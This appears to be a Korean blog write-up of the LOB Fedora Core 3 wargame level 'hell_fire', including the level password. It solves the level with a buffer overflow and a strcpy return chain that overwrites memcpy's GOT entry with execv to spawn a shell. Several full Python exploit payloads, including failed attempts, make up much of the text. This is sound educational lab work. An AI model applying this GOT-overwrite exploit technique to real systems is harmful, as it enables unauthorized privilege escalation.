일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- 리듬게임
- vim-go
- C++
- Nebula
- a tour of go
- tour of go
- BOJ
- 알고리즘
- JUCE
- 백준
- gui
- JUCE라이브러리
- go channel
- OS
- 연결리스트
- LOB
- c++ heap
- 프로그래밍
- C언어
- C++ gui 라이브러리
- C++ library
- JUCE library
- 공룡책
- 자료구조
- C++ gui
- Docker
- 코딩
- go
- 운영체제
- JUCE 튜토리얼
- Today
- Total
CafeM0ca
[FC3]level3 hell_fire 본문
ID:hell_fire
PW:sign me up
ret썰매가 불가능하고 argv[1]의 길이만큼만 냅두고 스택을 초기화해버린다. 모카는 bss영역에 execv인자들을 구성해줄꺼다.
bss영역 0x80498b0 //bss(block started by symbol)영역은 초기화되지 않은 전역 데이터들이 있다.
buffer는 ebp-264부분이다.
strcpy: 0x8048494
bss영역이 텅텅 비어있다. /bin/sh 바이너리들(/,b,i,n,/,s,h)을 1바이트씩 덮어씌워줄꺼다.
0x80498b0에는 덮어씌운 execv의 주소를, 0x80498b0+8에는 /, 0x80498b0+9에는 b, 0x80498b0+10에는 i ...이런식으로 구성해줄거다.
인자를 찾자.
memcpy got: 0x8049888
ppr: 0x804854c //ppr은 함수의 인자를 스택에서 정리해줄때 사용한다. 인자가 3개필요하면 pop pop pop ret이고 인자가 2개필요하면 pop pop ret이다. 문제에서 ppr을 줬으니 인자가 2개필요한 strcpy를 쓰라는 말을 간접적으로 알 수 있다.
execv: 0x7a55d0 //execv+3을 쓰게되면 인자 참조를 엉뚱한곳으로 한다.
/ : 0x8048114
b: 0x8048117 // '/'가 0x8048114고 'l'이 0x8048115고 'i'가 0x8048116이다.
i: 0x8048116
n: 0x8048318
s: 0x8048298
h: 0x804836c
NULL: 0x8048288 // .이 NULL이다.
필요한 가젯은 모두 찾았다.
"A"*268+strcpy+ppr+(bss+0)+'/'+strcpy+ppr+(bss+1)+'b'+strcpy+ppr+(bss+2)+'i'+strcpy+ppr+(bss+3)+'n'+strcpy+ppr+(bss+4)+'/'+strcpy+ppr+(bss+5)+'s'+strcpy+ppr+(bss+6)+'h'+strcpy+ppr+(bss+7)+NULL+strcpy+ppr+(bss-8)+memcpy's got+strcpy+(bss-8)+memcpy's got+execv
엄청 길고 반복작업이 많으니 파이썬 스크립트를 사용하는게 현명하다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | import os from struct import pack,unpack p = lambda x:pack("<L",x) strcpy = p(0x8048494) bss0 = p(0x80498c0) bss8 = p(0x80498c8) bss9 = p(0x80498c9) bss10 = p(0x80498ca) bss11 = p(0x80498cb) bss12 = p(0x80498cc) bss13 = p(0x80498cd) bss14 = p(0x80498ce) bss15 = p(0x80498cf) memcpy_got = p(0x8049888) ppr = p(0x804854c) execv = p(0x7a55d0) slash = p(0x8048114) b = p(0x8048117) i = p(0x8048116) n = p(0x8048318) s = p(0x8048298) h = p(0x804836c) null = p(0x80486c4) payload = "" payload += "A"*268 payload += strcpy payload += ppr payload += bss8 payload += slash payload += strcpy payload += ppr payload += bss9 payload += b payload += strcpy payload += ppr payload += bss10 payload += i payload += strcpy payload += ppr payload += bss11 payload += n payload += strcpy payload += ppr payload += bss12 payload += slash payload += strcpy payload += ppr payload += bss13 payload += s payload += strcpy payload += ppr payload += bss14 payload += h payload += strcpy payload += ppr payload += bss15 payload += null payload += strcpy payload += ppr payload += bss0 payload += memcpy_got payload += strcpy payload += bss0 payload += memcpy_got payload += execv payload += "\x00" print payload | cs |
gdb에서 r `python ./filename.py` 하면 잘 작동한다.
스택에 인자가 잘 박혀있다. 그런데 세그폴트..
원인은 strcpy내부에 ppr이 있었다.
분명 strcpy1 ppr1 dest1 src1 strcpy2 ppr2 dest2 src2 ...인데 strcpy1내부 ppr로인해 ppr1이 실행되기전 스택을 보면
ppr1 strcpy2 ppr2 dest2 src2가 되버린다. ppr1이 실행된후 스택은 strcpy2 src2가 됀다.
ppr함수를 빼고 다시 작성해보자.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 | import os from struct import pack,unpack p = lambda x:pack("<L",x) strcpy = p(0x8048494) bss0 = p(0x80498c0) bss8 = p(0x80498c8) bss9 = p(0x80498c9) bss10 = p(0x80498ca) bss11 = p(0x80498cb) bss12 = p(0x80498cc) bss13 = p(0x80498cd) bss14 = p(0x80498ce) bss15 = p(0x80498cf) memcpy_got = p(0x8049888) ret = p(0x8048551) #here is changed execv = p(0x7a55d0) slash = p(0x8048114) b = p(0x8048117) i = p(0x8048116) n = p(0x8048318) s = p(0x8048298) h = p(0x804836c) null = p(0x80486c4) payload = "" payload += "A"*268 payload += strcpy payload += ret #here is changed payload += bss8 payload += slash payload += strcpy payload += ret #here is changed payload += bss9 payload += b payload += strcpy payload += ret #here is changed payload += bss10 payload += i payload += strcpy payload += ret #here is changed payload += bss11 payload += n payload += strcpy payload += ret #here is changed payload += bss12 payload += slash payload += strcpy payload += ret #here is changed payload += bss13 payload += s payload += strcpy payload += ret #here is changed payload += bss14 payload += h payload += strcpy payload += ret #here is changed payload += bss15 payload += null payload += strcpy payload += ret #here is changed payload += bss0 payload += memcpy_got payload += strcpy payload += bss0 payload += memcpy_got payload += execv payload += "\x00" print payload | cs |
어째서인지 또 세그폴트가 떠서 봤더니 strcpy가 ppr하기전 스택을 보자. esp에 요상한 값들이 있다. 0x80498c8(bss),0x8048114('/')가 pop pop되길 기대했는데 0xfef45204와 0xfef4518d가 pop pop된다. 따라서 strcpy의 내장 ppr은 인자를 ppr하지않는다. 즉 ppr함수를 사용하긴 해야한다는 말이다.
함수를 자세히 열어보니 프롤로그과정이 있었다. 처음에 ppr+0 부분을 썼는데 이번에는 프롤로그 과정을 없애고 ppr+3 부분을 써보겠다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 | import os from struct import pack,unpack p = lambda x:pack("<L",x) strcpy = p(0x8048494) bss0 = p(0x80498c0) bss8 = p(0x80498c8) bss9 = p(0x80498c9) bss10 = p(0x80498ca) bss11 = p(0x80498cb) bss12 = p(0x80498cc) bss13 = p(0x80498cd) bss14 = p(0x80498ce) bss15 = p(0x80498cf) memcpy_got = p(0x8049888) ppr = p(0x804854f) #here is one more changed execv = p(0x7a55d0) slash = p(0x8048114) b = p(0x8048117) i = p(0x8048116) n = p(0x8048318) s = p(0x8048298) h = p(0x804836c) null = p(0x80486c4) payload = "" payload += "A"*268 payload += strcpy payload += ppr #here is one more changed payload += bss8 payload += slash payload += strcpy payload += ppr #here is one more changed payload += bss9 payload += b payload += strcpy payload += ppr #here is one more changed payload += bss10 payload += i payload += strcpy payload += ppr #here is one more changed payload += bss11 payload += n payload += strcpy payload += ppr #here is one more changed payload += bss12 payload += slash payload += strcpy payload += ppr #here is one more changed payload += bss13 payload += s payload += strcpy payload += ppr #here is one more changed payload += bss14 payload += h payload += strcpy payload += ppr #here is one more changed payload += bss15 payload += null payload += strcpy payload += ppr #here is one more changed payload += bss0 payload += memcpy_got payload += strcpy payload += bss0 payload += memcpy_got payload += execv payload += "\x00" print payload | cs |
strcpy1실행전 0x8048494(strcpy1) | 0x804854f(ppr) | 0x80498c8(bss+8) | 0x8048114('/')
strcpy1실행후 ppr실행전 esp 0x80498c8(bss+8) | 0x8048114('/')
성공적으로 잘 되는가 싶더니.. 이번에는 execv를 memcpy를 got로 복사하는 과정에서 문제가 생겼다.
0x53e58955가 뭔가 했더니..역시나 execv의 값이 복사됐다. 아무래도 execv도 d0, 55, 7a로 복사해줘야할 듯 하다.
그래도 불행중 다행은 /bin/sh가 제대로 들어갔다. 이제 execv만 제대로 들어가면 됀다!
0x7854c0은 memcpy다.
0x7a: 0x8049896
0x55: 0x80483cc
0xd0: 0x80484e4
완벽하게 다 올라갔다... 설마 /bin/sh가 안되는 건가?... 그러면 /bin/my-pass로 해야하는건가..
아!.. 인자로 값을주면 안되고 주소를 줘야한다..다시 해보자. 누군가 여기까지 따라했다면 헛고생한거다. 뒤로가기를 누르던가 마저 읽던가..
무언가 잘못되었음이 확실하다.
갈아엎고. 다시해야겠다.
자.. 다시 생각해보자. 너무 의식의 흐름대로 풀었다.
got overwrite니까 memcpy의 got를 execv로 덮고. bss에 /bin/sh를 구성해주고 memcpy의 got를 호출하면 될꺼다.
"A"*268+strcpt+ppr+memcpy_got+execv+strcpy+bss+/bin/sh+memcpy_got+ret+&(/bin/sh)
아스키아머로 복사가 끊기지 않기 위해 살짝 고쳐보자
일단 execv를 띄우자
좋아. execv가 정산적으로 실행된다. memcpy's got에 7a 55 d0을 strcpy로 복사해주고 memcpy를 실행시키니 됀다.
이제 /bin/sh를 bss영역에 올려주고 bss의 주소를 memcpy(execv)의 인자로 주면 쉘이 실행 될 거다.
execv어딘가에 있는 /bin/sh를 찾자
/bin/sh: 0x830fa0
낚였다..
생각해보니까 로컬이니 심볼릭링크 쓸 수 있다.
적당히 심볼릭링크할꺼 발견 0x80497d4
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | import os from struct import pack,unpack p = lambda x:pack("<L",x) strcpy = p(0x8048494) Null = p(0x80498f0) memcpy = p(0x8048434) memcpy_got1 = p(0x8049888) memcpy_got2 = p(0x8049889) memcpy_got3 = p(0x804988a) memcpy_got4 = p(0x804988b) ppr = p(0x804854f) execv3 = p(0x804989e) #7a execv2 = p(0x80486ec) #55 execv1 = p(0x80484e4) #d0 symbol = p(0x80497d4) payload = "" payload += "A"*268 #memcpy_got overwrited execv 0x7a55d0 payload += strcpy payload += ppr payload += memcpy_got1 payload += execv1 payload += strcpy payload += ppr payload += memcpy_got2 payload += execv2 payload += strcpy payload += ppr payload += memcpy_got3 payload += execv3 payload += strcpy payload += ppr payload += memcpy_got4 payload += Null payload += memcpy payload += Null payload += symbol print payload | cs |
exploit 가즈아ㅏㅏㅏㅏㅏㅏㅏ
푸는데 꼬박 1일(25시간)걸렸다.
'Hacking > LOB(Fedora3)' 카테고리의 다른 글
[FC3]level5 dark_stone (0) | 2018.02.01 |
---|---|
[FC3]level4 evil_wizard (0) | 2018.01.31 |
[FC3]level2 dark_eyes (0) | 2018.01.27 |
[FC3]level1 iron_golem (0) | 2018.01.26 |
[FC3]level0 gate (0) | 2018.01.26 |